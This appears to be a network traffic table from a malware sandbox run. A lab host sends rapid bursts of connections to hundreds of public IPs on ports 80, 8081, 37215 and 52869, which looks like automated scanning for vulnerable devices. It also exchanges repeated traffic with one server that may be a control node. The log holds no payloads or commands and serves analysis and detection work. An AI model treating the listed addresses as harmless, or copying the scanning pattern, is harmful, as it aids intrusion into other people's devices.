Jul 20, 2024 23:05:41.640775919 CEST	80	21679	95.25.246.249	192.168.2.13
Jul 20, 2024 23:05:41.640831947 CEST	21679	80	192.168.2.13	95.50.4.30
Jul 20, 2024 23:05:41.640831947 CEST	21679	80	192.168.2.13	95.112.254.209
Jul 20, 2024 23:05:41.640831947 CEST	21679	80	192.168.2.13	95.250.15.244
Jul 20, 2024 23:05:41.640831947 CEST	21679	80	192.168.2.13	95.245.1.208
Jul 20, 2024 23:05:41.640831947 CEST	21679	80	192.168.2.13	95.32.43.13
Jul 20, 2024 23:05:41.640881062 CEST	21679	80	192.168.2.13	95.84.78.14
Jul 20, 2024 23:05:41.640891075 CEST	80	21679	95.72.40.79	192.168.2.13
Jul 20, 2024 23:05:41.640902042 CEST	80	21679	95.198.75.143	192.168.2.13
Jul 20, 2024 23:05:41.641072035 CEST	80	21679	95.11.29.47	192.168.2.13
Jul 20, 2024 23:05:41.641086102 CEST	80	21679	95.186.126.147	192.168.2.13
Jul 20, 2024 23:05:41.641109943 CEST	21679	80	192.168.2.13	95.11.29.47
Jul 20, 2024 23:05:41.641236067 CEST	21679	80	192.168.2.13	95.39.245.20
Jul 20, 2024 23:05:41.641236067 CEST	21679	80	192.168.2.13	95.134.175.82
Jul 20, 2024 23:05:41.641236067 CEST	21679	80	192.168.2.13	95.194.121.234
Jul 20, 2024 23:05:41.641237020 CEST	21679	80	192.168.2.13	95.84.24.11
Jul 20, 2024 23:05:41.641237020 CEST	21679	80	192.168.2.13	95.72.40.79
Jul 20, 2024 23:05:41.641239882 CEST	21679	80	192.168.2.13	95.12.214.212
Jul 20, 2024 23:05:41.641239882 CEST	21679	80	192.168.2.13	95.179.238.200
Jul 20, 2024 23:05:41.641239882 CEST	21679	80	192.168.2.13	95.57.214.33
Jul 20, 2024 23:05:41.641239882 CEST	21679	80	192.168.2.13	95.186.126.147
Jul 20, 2024 23:05:41.641390085 CEST	21679	80	192.168.2.13	95.45.61.53
Jul 20, 2024 23:05:41.641390085 CEST	21679	80	192.168.2.13	95.233.96.193
Jul 20, 2024 23:05:41.641390085 CEST	21679	80	192.168.2.13	95.25.246.249
Jul 20, 2024 23:05:41.641432047 CEST	80	21679	95.127.26.111	192.168.2.13
Jul 20, 2024 23:05:41.641547918 CEST	80	21679	95.142.93.189	192.168.2.13
Jul 20, 2024 23:05:41.641743898 CEST	21679	80	192.168.2.13	95.17.196.163
Jul 20, 2024 23:05:41.641743898 CEST	21679	80	192.168.2.13	95.127.26.111
Jul 20, 2024 23:05:41.641743898 CEST	21679	80	192.168.2.13	95.142.93.189
Jul 20, 2024 23:05:41.641803026 CEST	21679	80	192.168.2.13	95.114.134.52
Jul 20, 2024 23:05:41.641803026 CEST	21679	80	192.168.2.13	95.221.171.64
Jul 20, 2024 23:05:41.641803026 CEST	21679	80	192.168.2.13	95.205.237.32
Jul 20, 2024 23:05:41.641803026 CEST	21679	80	192.168.2.13	95.11.2.255
Jul 20, 2024 23:05:41.641812086 CEST	21679	80	192.168.2.13	95.135.233.161
Jul 20, 2024 23:05:41.641812086 CEST	21679	80	192.168.2.13	95.198.148.102
Jul 20, 2024 23:05:41.641812086 CEST	21679	80	192.168.2.13	95.172.181.119
Jul 20, 2024 23:05:41.641812086 CEST	21679	80	192.168.2.13	95.143.222.132
Jul 20, 2024 23:05:41.641812086 CEST	21679	80	192.168.2.13	95.70.3.199
Jul 20, 2024 23:05:41.641812086 CEST	21679	80	192.168.2.13	95.86.136.151
Jul 20, 2024 23:05:41.641812086 CEST	21679	80	192.168.2.13	95.155.207.83
Jul 20, 2024 23:05:41.641812086 CEST	21679	80	192.168.2.13	95.146.16.103
Jul 20, 2024 23:05:41.641839027 CEST	80	21679	95.243.52.37	192.168.2.13
Jul 20, 2024 23:05:41.642049074 CEST	21679	80	192.168.2.13	95.198.75.143
Jul 20, 2024 23:05:41.642086983 CEST	80	21679	95.22.7.196	192.168.2.13
Jul 20, 2024 23:05:41.642090082 CEST	21679	80	192.168.2.13	95.243.52.37
Jul 20, 2024 23:05:41.642098904 CEST	80	21679	95.36.22.6	192.168.2.13
Jul 20, 2024 23:05:41.642108917 CEST	80	21679	95.79.212.248	192.168.2.13
Jul 20, 2024 23:05:41.642119884 CEST	80	21679	95.241.180.120	192.168.2.13
Jul 20, 2024 23:05:41.642127037 CEST	21679	80	192.168.2.13	95.22.7.196
Jul 20, 2024 23:05:41.642127991 CEST	21679	80	192.168.2.13	95.36.22.6
Jul 20, 2024 23:05:41.642128944 CEST	80	21679	95.96.23.153	192.168.2.13
Jul 20, 2024 23:05:41.642138958 CEST	80	21679	95.181.90.130	192.168.2.13
Jul 20, 2024 23:05:41.642381907 CEST	21679	80	192.168.2.13	95.181.90.130
Jul 20, 2024 23:05:41.642514944 CEST	21679	80	192.168.2.13	95.79.212.248
Jul 20, 2024 23:05:41.642514944 CEST	21679	80	192.168.2.13	95.96.23.153
Jul 20, 2024 23:05:41.642551899 CEST	80	21679	95.252.179.42	192.168.2.13
Jul 20, 2024 23:05:41.642605066 CEST	21679	80	192.168.2.13	95.241.180.120
Jul 20, 2024 23:05:41.642605066 CEST	21679	80	192.168.2.13	95.252.179.42
Jul 20, 2024 23:05:41.642718077 CEST	80	21679	95.243.77.60	192.168.2.13
Jul 20, 2024 23:05:41.642774105 CEST	21679	80	192.168.2.13	95.243.77.60
Jul 20, 2024 23:05:41.642925978 CEST	21679	80	192.168.2.13	95.63.131.167
Jul 20, 2024 23:05:41.642965078 CEST	80	21679	95.207.244.195	192.168.2.13
Jul 20, 2024 23:05:41.643006086 CEST	21679	80	192.168.2.13	95.207.244.195
Jul 20, 2024 23:05:41.643587112 CEST	53110	2466	192.168.2.13	15.235.203.214
Jul 20, 2024 23:05:41.649224997 CEST	2466	53110	15.235.203.214	192.168.2.13
Jul 20, 2024 23:05:41.649279118 CEST	53110	2466	192.168.2.13	15.235.203.214
Jul 20, 2024 23:05:41.654162884 CEST	53110	2466	192.168.2.13	15.235.203.214
Jul 20, 2024 23:05:41.660135031 CEST	2466	53110	15.235.203.214	192.168.2.13
Jul 20, 2024 23:05:41.689352036 CEST	2466	53110	15.235.203.214	192.168.2.13
Jul 20, 2024 23:05:42.455322027 CEST	44719	37215	192.168.2.13	157.13.117.111
Jul 20, 2024 23:05:42.455322981 CEST	44719	37215	192.168.2.13	185.201.173.239
Jul 20, 2024 23:05:42.467478037 CEST	44719	37215	192.168.2.13	197.119.104.179
Jul 20, 2024 23:05:42.467478037 CEST	44719	37215	192.168.2.13	157.121.210.186
Jul 20, 2024 23:05:42.467478037 CEST	44719	37215	192.168.2.13	41.87.52.53
Jul 20, 2024 23:05:42.467478037 CEST	44719	37215	192.168.2.13	157.166.141.239
Jul 20, 2024 23:05:42.467478991 CEST	44719	37215	192.168.2.13	197.134.128.111
Jul 20, 2024 23:05:42.467478991 CEST	44719	37215	192.168.2.13	157.149.38.136
Jul 20, 2024 23:05:42.467478991 CEST	44719	37215	192.168.2.13	197.92.208.85
Jul 20, 2024 23:05:42.467478991 CEST	44719	37215	192.168.2.13	157.2.3.237
Jul 20, 2024 23:05:42.467680931 CEST	44719	37215	192.168.2.13	212.157.127.57
Jul 20, 2024 23:05:42.467681885 CEST	44719	37215	192.168.2.13	102.59.111.148
Jul 20, 2024 23:05:42.467681885 CEST	44719	37215	192.168.2.13	41.222.18.139
Jul 20, 2024 23:05:42.467681885 CEST	44719	37215	192.168.2.13	157.150.189.1
Jul 20, 2024 23:05:42.467681885 CEST	44719	37215	192.168.2.13	41.82.125.91
Jul 20, 2024 23:05:42.467681885 CEST	44719	37215	192.168.2.13	68.241.252.84
Jul 20, 2024 23:05:42.467681885 CEST	44719	37215	192.168.2.13	197.73.182.47
Jul 20, 2024 23:05:42.467681885 CEST	44719	37215	192.168.2.13	157.188.28.160
Jul 20, 2024 23:05:42.467895031 CEST	44719	37215	192.168.2.13	41.255.24.141
Jul 20, 2024 23:05:42.467895031 CEST	44719	37215	192.168.2.13	187.176.77.133
Jul 20, 2024 23:05:42.467895031 CEST	44719	37215	192.168.2.13	197.49.250.135
Jul 20, 2024 23:05:42.467895031 CEST	44719	37215	192.168.2.13	114.115.195.183
Jul 20, 2024 23:05:42.467895031 CEST	43439	8081	192.168.2.13	118.54.34.153
Jul 20, 2024 23:05:42.467895031 CEST	43439	8081	192.168.2.13	50.218.129.187
Jul 20, 2024 23:05:42.467895031 CEST	43439	8081	192.168.2.13	173.12.57.109
Jul 20, 2024 23:05:42.468117952 CEST	43439	8081	192.168.2.13	177.163.61.189
Jul 20, 2024 23:05:42.468117952 CEST	43439	8081	192.168.2.13	61.212.191.34
Jul 20, 2024 23:05:42.468117952 CEST	43439	8081	192.168.2.13	171.90.144.102
Jul 20, 2024 23:05:42.468117952 CEST	43439	8081	192.168.2.13	209.179.119.99
Jul 20, 2024 23:05:42.468117952 CEST	43439	8081	192.168.2.13	154.167.114.0
Jul 20, 2024 23:05:42.468117952 CEST	43439	8081	192.168.2.13	49.149.178.135
Jul 20, 2024 23:05:42.468117952 CEST	43439	8081	192.168.2.13	76.171.241.72
Jul 20, 2024 23:05:42.468117952 CEST	43439	8081	192.168.2.13	179.36.187.56
Jul 20, 2024 23:05:42.468363047 CEST	43439	8081	192.168.2.13	162.174.54.243
Jul 20, 2024 23:05:42.468363047 CEST	43439	8081	192.168.2.13	35.128.254.78
Jul 20, 2024 23:05:42.468363047 CEST	43439	8081	192.168.2.13	208.16.240.128
Jul 20, 2024 23:05:42.468364000 CEST	43439	8081	192.168.2.13	46.46.188.174
Jul 20, 2024 23:05:42.468364000 CEST	43439	8081	192.168.2.13	108.13.243.83
Jul 20, 2024 23:05:42.468364000 CEST	43439	8081	192.168.2.13	5.38.165.244
Jul 20, 2024 23:05:42.468364000 CEST	43439	8081	192.168.2.13	207.202.158.195
Jul 20, 2024 23:05:42.468364000 CEST	43439	8081	192.168.2.13	157.233.66.85
Jul 20, 2024 23:05:42.468611002 CEST	43439	8081	192.168.2.13	190.172.253.240
Jul 20, 2024 23:05:42.468611002 CEST	43439	8081	192.168.2.13	185.29.131.194
Jul 20, 2024 23:05:42.468611956 CEST	43439	8081	192.168.2.13	36.48.198.38
Jul 20, 2024 23:05:42.468611956 CEST	43695	52869	192.168.2.13	20.76.59.255
Jul 20, 2024 23:05:42.468611956 CEST	43695	52869	192.168.2.13	205.212.216.100
Jul 20, 2024 23:05:42.468611956 CEST	43695	52869	192.168.2.13	83.224.244.234
Jul 20, 2024 23:05:42.468611956 CEST	43695	52869	192.168.2.13	143.172.141.80
Jul 20, 2024 23:05:42.468611956 CEST	43695	52869	192.168.2.13	76.17.233.167
Jul 20, 2024 23:05:42.468885899 CEST	43695	52869	192.168.2.13	106.189.98.231
Jul 20, 2024 23:05:42.468885899 CEST	43695	52869	192.168.2.13	172.220.154.255
Jul 20, 2024 23:05:42.468885899 CEST	43695	52869	192.168.2.13	35.217.8.220
Jul 20, 2024 23:05:42.468885899 CEST	43695	52869	192.168.2.13	47.164.207.56
Jul 20, 2024 23:05:42.468885899 CEST	43695	52869	192.168.2.13	146.195.9.111
Jul 20, 2024 23:05:42.468885899 CEST	43695	52869	192.168.2.13	41.218.182.10
Jul 20, 2024 23:05:42.468887091 CEST	43695	52869	192.168.2.13	162.35.0.137
Jul 20, 2024 23:05:42.468887091 CEST	43695	52869	192.168.2.13	69.97.88.78
Jul 20, 2024 23:05:42.469142914 CEST	43695	52869	192.168.2.13	95.137.110.156
Jul 20, 2024 23:05:42.469142914 CEST	43695	52869	192.168.2.13	32.119.192.25
Jul 20, 2024 23:05:42.469142914 CEST	43695	52869	192.168.2.13	17.218.221.249
Jul 20, 2024 23:05:42.469142914 CEST	43695	52869	192.168.2.13	61.41.81.68
Jul 20, 2024 23:05:42.469142914 CEST	43695	52869	192.168.2.13	130.63.102.154
Jul 20, 2024 23:05:42.469144106 CEST	43695	52869	192.168.2.13	60.33.145.134
Jul 20, 2024 23:05:42.469144106 CEST	43695	52869	192.168.2.13	13.4.58.138
Jul 20, 2024 23:05:42.469144106 CEST	43695	52869	192.168.2.13	14.180.52.183
Jul 20, 2024 23:05:42.469403982 CEST	43695	52869	192.168.2.13	40.204.119.127
Jul 20, 2024 23:05:42.469403982 CEST	43695	52869	192.168.2.13	151.167.146.135
Jul 20, 2024 23:05:42.469403982 CEST	43695	52869	192.168.2.13	54.86.186.245
Jul 20, 2024 23:05:42.469403982 CEST	43695	52869	192.168.2.13	42.147.52.182
Jul 20, 2024 23:05:42.469403982 CEST	43695	52869	192.168.2.13	210.202.123.217
Jul 20, 2024 23:05:42.469403982 CEST	43695	52869	192.168.2.13	208.54.219.40
Jul 20, 2024 23:05:42.469404936 CEST	43695	52869	192.168.2.13	170.49.236.39
Jul 20, 2024 23:05:42.469404936 CEST	43695	52869	192.168.2.13	98.155.63.7
Jul 20, 2024 23:05:42.469676018 CEST	43695	52869	192.168.2.13	185.228.114.119
Jul 20, 2024 23:05:42.469676018 CEST	43695	52869	192.168.2.13	19.122.238.156
Jul 20, 2024 23:05:42.469676018 CEST	43695	52869	192.168.2.13	65.126.152.49
Jul 20, 2024 23:05:42.469676018 CEST	43695	52869	192.168.2.13	92.102.91.3
Jul 20, 2024 23:05:42.469676018 CEST	43695	52869	192.168.2.13	150.92.34.132
Jul 20, 2024 23:05:42.469676018 CEST	43695	52869	192.168.2.13	115.212.16.253
Jul 20, 2024 23:05:42.469676971 CEST	43695	52869	192.168.2.13	138.36.245.50
Jul 20, 2024 23:05:42.469676971 CEST	43695	52869	192.168.2.13	111.38.150.20
Jul 20, 2024 23:05:42.469959974 CEST	43695	52869	192.168.2.13	46.58.141.254
Jul 20, 2024 23:05:42.469959974 CEST	43695	52869	192.168.2.13	91.181.78.33
Jul 20, 2024 23:05:42.469959974 CEST	43695	52869	192.168.2.13	5.64.221.215
Jul 20, 2024 23:05:42.469959974 CEST	43695	52869	192.168.2.13	116.185.238.207
Jul 20, 2024 23:05:42.469959974 CEST	43695	52869	192.168.2.13	96.189.248.183
Jul 20, 2024 23:05:42.469959974 CEST	43695	52869	192.168.2.13	122.207.219.191
Jul 20, 2024 23:05:42.469959974 CEST	43695	52869	192.168.2.13	18.226.59.173
Jul 20, 2024 23:05:42.469959974 CEST	43695	52869	192.168.2.13	53.252.16.106
Jul 20, 2024 23:05:42.470244884 CEST	43695	52869	192.168.2.13	65.64.172.37
Jul 20, 2024 23:05:42.470244884 CEST	43695	52869	192.168.2.13	187.251.201.224
Jul 20, 2024 23:05:42.470244884 CEST	43695	52869	192.168.2.13	144.182.152.160
Jul 20, 2024 23:05:42.470244884 CEST	43695	52869	192.168.2.13	180.150.138.69
Jul 20, 2024 23:05:42.470244884 CEST	43695	52869	192.168.2.13	89.49.173.55
Jul 20, 2024 23:05:42.470244884 CEST	43695	52869	192.168.2.13	106.236.150.28
Jul 20, 2024 23:05:42.470244884 CEST	43695	52869	192.168.2.13	150.135.62.98
Jul 20, 2024 23:05:42.470244884 CEST	43695	52869	192.168.2.13	92.46.64.178
Jul 20, 2024 23:05:42.470541954 CEST	43695	52869	192.168.2.13	158.100.233.134
Jul 20, 2024 23:05:42.470541954 CEST	43695	52869	192.168.2.13	223.108.234.166
Jul 20, 2024 23:05:42.470541954 CEST	43695	52869	192.168.2.13	31.2.198.168
Jul 20, 2024 23:05:42.470541954 CEST	43695	52869	192.168.2.13	161.35.217.196
Jul 20, 2024 23:05:42.470541954 CEST	43695	52869	192.168.2.13	159.181.120.166
Jul 20, 2024 23:05:42.470541954 CEST	43695	52869	192.168.2.13	176.85.189.232
Jul 20, 2024 23:05:42.470541954 CEST	43695	52869	192.168.2.13	167.250.89.184
Jul 20, 2024 23:05:42.470541954 CEST	43695	52869	192.168.2.13	212.136.110.23
Jul 20, 2024 23:05:42.470844984 CEST	43695	52869	192.168.2.13	66.180.53.181
Jul 20, 2024 23:05:42.470844984 CEST	43695	52869	192.168.2.13	197.40.245.207
Jul 20, 2024 23:05:42.470844984 CEST	43695	52869	192.168.2.13	101.110.206.115
Jul 20, 2024 23:05:42.470844984 CEST	43695	52869	192.168.2.13	199.180.85.128
Jul 20, 2024 23:05:42.470844984 CEST	43695	52869	192.168.2.13	1.64.15.249
Jul 20, 2024 23:05:42.470844984 CEST	43695	52869	192.168.2.13	87.90.253.110
Jul 20, 2024 23:05:42.470845938 CEST	43695	52869	192.168.2.13	61.230.232.242
Jul 20, 2024 23:05:42.470845938 CEST	43695	52869	192.168.2.13	179.34.23.229
Jul 20, 2024 23:05:42.471086979 CEST	44719	37215	192.168.2.13	124.216.33.208
Jul 20, 2024 23:05:42.471086979 CEST	44719	37215	192.168.2.13	41.97.74.232
Jul 20, 2024 23:05:42.471086979 CEST	44719	37215	192.168.2.13	41.141.73.194
Jul 20, 2024 23:05:42.471086979 CEST	44719	37215	192.168.2.13	157.169.48.62
Jul 20, 2024 23:05:42.471086979 CEST	44719	37215	192.168.2.13	41.50.134.107
Jul 20, 2024 23:05:42.471086979 CEST	44719	37215	192.168.2.13	197.160.109.122
Jul 20, 2024 23:05:42.471086979 CEST	44719	37215	192.168.2.13	151.115.104.9
Jul 20, 2024 23:05:42.471159935 CEST	43695	52869	192.168.2.13	136.53.47.224
Jul 20, 2024 23:05:42.471159935 CEST	43695	52869	192.168.2.13	132.103.147.191
Jul 20, 2024 23:05:42.471159935 CEST	43695	52869	192.168.2.13	147.13.123.150
Jul 20, 2024 23:05:42.471159935 CEST	43695	52869	192.168.2.13	66.27.204.238
Jul 20, 2024 23:05:42.471159935 CEST	43695	52869	192.168.2.13	53.26.123.55
Jul 20, 2024 23:05:42.471159935 CEST	43695	52869	192.168.2.13	211.237.153.101
Jul 20, 2024 23:05:42.471159935 CEST	43695	52869	192.168.2.13	54.11.15.117
Jul 20, 2024 23:05:42.471159935 CEST	43695	52869	192.168.2.13	210.254.97.122
Jul 20, 2024 23:05:42.471472979 CEST	43695	52869	192.168.2.13	213.168.79.218
Jul 20, 2024 23:05:42.471472979 CEST	43695	52869	192.168.2.13	140.231.6.88
Jul 20, 2024 23:05:42.471472979 CEST	43695	52869	192.168.2.13	91.70.246.106
Jul 20, 2024 23:05:42.471472979 CEST	43695	52869	192.168.2.13	182.237.71.93
Jul 20, 2024 23:05:42.471472979 CEST	43695	52869	192.168.2.13	210.36.186.58
Jul 20, 2024 23:05:42.471472979 CEST	43695	52869	192.168.2.13	139.189.40.221
Jul 20, 2024 23:05:42.471472979 CEST	43695	52869	192.168.2.13	208.214.48.109
Jul 20, 2024 23:05:42.471472979 CEST	43695	52869	192.168.2.13	102.39.62.215
Jul 20, 2024 23:05:42.471798897 CEST	43695	52869	192.168.2.13	37.75.240.126
Jul 20, 2024 23:05:42.471800089 CEST	43695	52869	192.168.2.13	135.248.140.120
Jul 20, 2024 23:05:42.471800089 CEST	43695	52869	192.168.2.13	147.83.200.32
Jul 20, 2024 23:05:42.471800089 CEST	43695	52869	192.168.2.13	166.58.251.38
Jul 20, 2024 23:05:42.471800089 CEST	43695	52869	192.168.2.13	68.231.43.237
Jul 20, 2024 23:05:42.471800089 CEST	43695	52869	192.168.2.13	208.116.151.205
Jul 20, 2024 23:05:42.471800089 CEST	43695	52869	192.168.2.13	118.68.52.30
Jul 20, 2024 23:05:42.471800089 CEST	43695	52869	192.168.2.13	199.101.25.86
Jul 20, 2024 23:05:42.472126961 CEST	43695	52869	192.168.2.13	201.121.10.182
Jul 20, 2024 23:05:42.472126961 CEST	43695	52869	192.168.2.13	151.16.139.214
Jul 20, 2024 23:05:42.472126961 CEST	43695	52869	192.168.2.13	112.207.85.211
Jul 20, 2024 23:05:42.472126961 CEST	43695	52869	192.168.2.13	42.99.96.202
Jul 20, 2024 23:05:42.472126961 CEST	43695	52869	192.168.2.13	182.48.70.137
Jul 20, 2024 23:05:42.472126961 CEST	43695	52869	192.168.2.13	188.221.239.227
Jul 20, 2024 23:05:42.472126961 CEST	43695	52869	192.168.2.13	135.125.21.122
Jul 20, 2024 23:05:42.472126961 CEST	43695	52869	192.168.2.13	2.214.164.126
Jul 20, 2024 23:05:42.472742081 CEST	43695	52869	192.168.2.13	43.221.222.161
Jul 20, 2024 23:05:42.472868919 CEST	44719	37215	192.168.2.13	41.67.50.83
Jul 20, 2024 23:05:42.472868919 CEST	44719	37215	192.168.2.13	197.173.225.106
Jul 20, 2024 23:05:42.472868919 CEST	44719	37215	192.168.2.13	41.187.184.255
Jul 20, 2024 23:05:42.472868919 CEST	44719	37215	192.168.2.13	157.60.32.31
Jul 20, 2024 23:05:42.472868919 CEST	44719	37215	192.168.2.13	67.53.45.237
Jul 20, 2024 23:05:42.472868919 CEST	44719	37215	192.168.2.13	41.125.238.188
Jul 20, 2024 23:05:42.472868919 CEST	44719	37215	192.168.2.13	157.76.90.159
Jul 20, 2024 23:05:42.472868919 CEST	44719	37215	192.168.2.13	41.38.46.35
Jul 20, 2024 23:05:42.473118067 CEST	44719	37215	192.168.2.13	197.140.23.105
Jul 20, 2024 23:05:42.473118067 CEST	44719	37215	192.168.2.13	202.227.209.50
Jul 20, 2024 23:05:42.473118067 CEST	44719	37215	192.168.2.13	25.181.47.110
Jul 20, 2024 23:05:42.473118067 CEST	44719	37215	192.168.2.13	157.171.67.165
Jul 20, 2024 23:05:42.473118067 CEST	44719	37215	192.168.2.13	41.113.223.58
Jul 20, 2024 23:05:42.473118067 CEST	44719	37215	192.168.2.13	197.24.91.138
Jul 20, 2024 23:05:42.473118067 CEST	44719	37215	192.168.2.13	71.20.35.154
Jul 20, 2024 23:05:42.473118067 CEST	44719	37215	192.168.2.13	157.35.118.76
Jul 20, 2024 23:05:42.473366976 CEST	44719	37215	192.168.2.13	41.240.77.159
Jul 20, 2024 23:05:42.473366976 CEST	43439	8081	192.168.2.13	121.3.253.56
Jul 20, 2024 23:05:42.473366976 CEST	43439	8081	192.168.2.13	209.34.242.122
Jul 20, 2024 23:05:42.473366976 CEST	43439	8081	192.168.2.13	121.149.130.96
Jul 20, 2024 23:05:42.473366976 CEST	43439	8081	192.168.2.13	31.40.53.45
Jul 20, 2024 23:05:42.473366976 CEST	43439	8081	192.168.2.13	89.3.102.202
Jul 20, 2024 23:05:42.473366976 CEST	43439	8081	192.168.2.13	77.219.164.150
Jul 20, 2024 23:05:42.473366976 CEST	43439	8081	192.168.2.13	221.23.122.130
Jul 20, 2024 23:05:42.473623037 CEST	43439	8081	192.168.2.13	178.250.77.159
Jul 20, 2024 23:05:42.473623037 CEST	43439	8081	192.168.2.13	108.175.64.63
Jul 20, 2024 23:05:42.473623037 CEST	43439	8081	192.168.2.13	189.221.63.100
Jul 20, 2024 23:05:42.473623991 CEST	43439	8081	192.168.2.13	144.128.51.24
Jul 20, 2024 23:05:42.473623991 CEST	43439	8081	192.168.2.13	2.99.117.159
Jul 20, 2024 23:05:42.473623991 CEST	43439	8081	192.168.2.13	156.121.193.100
Jul 20, 2024 23:05:42.473623991 CEST	43439	8081	192.168.2.13	4.251.63.250
Jul 20, 2024 23:05:42.473623991 CEST	43439	8081	192.168.2.13	82.3.201.73
Jul 20, 2024 23:05:42.473886967 CEST	43439	8081	192.168.2.13	178.141.249.196
Jul 20, 2024 23:05:42.473886967 CEST	43439	8081	192.168.2.13	101.4.222.81
Jul 20, 2024 23:05:42.473886967 CEST	43439	8081	192.168.2.13	194.234.46.122
Jul 20, 2024 23:05:42.473886967 CEST	43439	8081	192.168.2.13	24.82.211.229
Jul 20, 2024 23:05:42.473886967 CEST	43695	52869	192.168.2.13	167.163.98.112
Jul 20, 2024 23:05:42.473886967 CEST	43695	52869	192.168.2.13	43.51.158.252
Jul 20, 2024 23:05:42.473886967 CEST	43695	52869	192.168.2.13	105.135.184.78
Jul 20, 2024 23:05:42.473886967 CEST	43695	52869	192.168.2.13	150.15.202.10
Jul 20, 2024 23:05:42.474160910 CEST	43695	52869	192.168.2.13	161.236.8.179
Jul 20, 2024 23:05:42.474160910 CEST	43695	52869	192.168.2.13	207.60.191.11
Jul 20, 2024 23:05:42.474160910 CEST	43695	52869	192.168.2.13	48.66.150.177
Jul 20, 2024 23:05:42.474160910 CEST	43695	52869	192.168.2.13	46.78.45.208
Jul 20, 2024 23:05:42.474160910 CEST	43695	52869	192.168.2.13	203.241.241.201
Jul 20, 2024 23:05:42.474160910 CEST	43695	52869	192.168.2.13	161.11.228.181
Jul 20, 2024 23:05:42.474160910 CEST	43695	52869	192.168.2.13	167.54.145.81
Jul 20, 2024 23:05:42.474160910 CEST	43695	52869	192.168.2.13	140.169.97.32
Jul 20, 2024 23:05:42.474438906 CEST	43695	52869	192.168.2.13	191.28.127.170
Jul 20, 2024 23:05:42.474438906 CEST	43695	52869	192.168.2.13	186.162.245.57
Jul 20, 2024 23:05:42.474438906 CEST	43695	52869	192.168.2.13	8.40.178.238
Jul 20, 2024 23:05:42.474438906 CEST	43695	52869	192.168.2.13	94.174.75.156
Jul 20, 2024 23:05:42.474438906 CEST	43695	52869	192.168.2.13	50.224.65.140
Jul 20, 2024 23:05:42.474438906 CEST	43695	52869	192.168.2.13	173.7.63.87
Jul 20, 2024 23:05:42.474438906 CEST	43695	52869	192.168.2.13	178.167.86.245
Jul 20, 2024 23:05:42.474438906 CEST	43695	52869	192.168.2.13	88.240.193.116
Jul 20, 2024 23:05:42.474730968 CEST	43695	52869	192.168.2.13	151.233.2.179
Jul 20, 2024 23:05:42.474730968 CEST	43695	52869	192.168.2.13	38.111.50.124
Jul 20, 2024 23:05:42.474730968 CEST	43695	52869	192.168.2.13	200.221.203.167
Jul 20, 2024 23:05:42.474730968 CEST	43695	52869	192.168.2.13	177.150.171.101
Jul 20, 2024 23:05:42.474730968 CEST	43695	52869	192.168.2.13	149.27.116.35
Jul 20, 2024 23:05:42.474730968 CEST	43695	52869	192.168.2.13	128.248.15.101
Jul 20, 2024 23:05:42.474730968 CEST	43695	52869	192.168.2.13	86.176.24.197
Jul 20, 2024 23:05:42.474730968 CEST	43695	52869	192.168.2.13	145.159.39.98
Jul 20, 2024 23:05:42.475027084 CEST	43695	52869	192.168.2.13	99.138.247.46
Jul 20, 2024 23:05:42.475027084 CEST	43695	52869	192.168.2.13	184.204.69.205
Jul 20, 2024 23:05:42.475027084 CEST	43695	52869	192.168.2.13	101.55.243.209
Jul 20, 2024 23:05:42.475027084 CEST	43695	52869	192.168.2.13	59.199.104.166
Jul 20, 2024 23:05:42.475027084 CEST	43695	52869	192.168.2.13	157.233.31.216
Jul 20, 2024 23:05:42.475027084 CEST	43695	52869	192.168.2.13	160.139.135.198
Jul 20, 2024 23:05:42.475027084 CEST	43695	52869	192.168.2.13	50.46.254.201
Jul 20, 2024 23:05:42.475027084 CEST	43695	52869	192.168.2.13	219.110.33.210
Jul 20, 2024 23:05:42.475230932 CEST	44719	37215	192.168.2.13	197.244.220.89
Jul 20, 2024 23:05:42.475230932 CEST	44719	37215	192.168.2.13	197.251.231.227
Jul 20, 2024 23:05:42.475230932 CEST	44719	37215	192.168.2.13	157.65.167.85
Jul 20, 2024 23:05:42.475230932 CEST	44719	37215	192.168.2.13	113.21.107.163
Jul 20, 2024 23:05:42.475230932 CEST	44719	37215	192.168.2.13	99.188.208.82
Jul 20, 2024 23:05:42.475230932 CEST	44719	37215	192.168.2.13	197.55.249.158
Jul 20, 2024 23:05:42.475327969 CEST	43695	52869	192.168.2.13	154.99.42.193
Jul 20, 2024 23:05:42.475327969 CEST	43695	52869	192.168.2.13	52.148.84.244
Jul 20, 2024 23:05:42.475327969 CEST	43695	52869	192.168.2.13	110.216.242.18
Jul 20, 2024 23:05:42.475327969 CEST	43695	52869	192.168.2.13	220.92.67.242
Jul 20, 2024 23:05:42.475327969 CEST	43695	52869	192.168.2.13	210.252.233.178
Jul 20, 2024 23:05:42.475327969 CEST	43695	52869	192.168.2.13	147.58.255.206
Jul 20, 2024 23:05:42.475327969 CEST	43695	52869	192.168.2.13	116.0.99.214
Jul 20, 2024 23:05:42.475327969 CEST	43695	52869	192.168.2.13	130.91.114.118
Jul 20, 2024 23:05:42.475626945 CEST	43695	52869	192.168.2.13	141.48.127.206
Jul 20, 2024 23:05:42.475626945 CEST	43695	52869	192.168.2.13	68.3.197.245
Jul 20, 2024 23:05:42.475626945 CEST	43695	52869	192.168.2.13	39.84.155.186
Jul 20, 2024 23:05:42.475626945 CEST	43695	52869	192.168.2.13	9.199.190.154
Jul 20, 2024 23:05:42.475625038 CEST	44719	37215	192.168.2.13	41.238.236.221
Jul 20, 2024 23:05:42.475626945 CEST	43695	52869	192.168.2.13	128.234.115.135
Jul 20, 2024 23:05:42.475625038 CEST	44719	37215	192.168.2.13	41.10.211.13
Jul 20, 2024 23:05:42.475626945 CEST	43695	52869	192.168.2.13	107.151.98.255
Jul 20, 2024 23:05:42.475626945 CEST	43695	52869	192.168.2.13	101.187.13.252
Jul 20, 2024 23:05:42.475626945 CEST	43695	52869	192.168.2.13	23.36.177.182
Jul 20, 2024 23:05:42.475933075 CEST	43695	52869	192.168.2.13	82.133.178.243
Jul 20, 2024 23:05:42.475933075 CEST	43695	52869	192.168.2.13	124.245.233.46
Jul 20, 2024 23:05:42.475933075 CEST	43695	52869	192.168.2.13	12.103.224.93
Jul 20, 2024 23:05:42.475933075 CEST	43695	52869	192.168.2.13	201.9.2.115
Jul 20, 2024 23:05:42.475933075 CEST	43695	52869	192.168.2.13	61.119.32.188
Jul 20, 2024 23:05:42.475933075 CEST	43695	52869	192.168.2.13	90.204.174.177
Jul 20, 2024 23:05:42.475933075 CEST	43695	52869	192.168.2.13	82.12.69.219
Jul 20, 2024 23:05:42.475933075 CEST	43695	52869	192.168.2.13	213.239.0.27
Jul 20, 2024 23:05:42.476244926 CEST	43695	52869	192.168.2.13	5.199.108.158
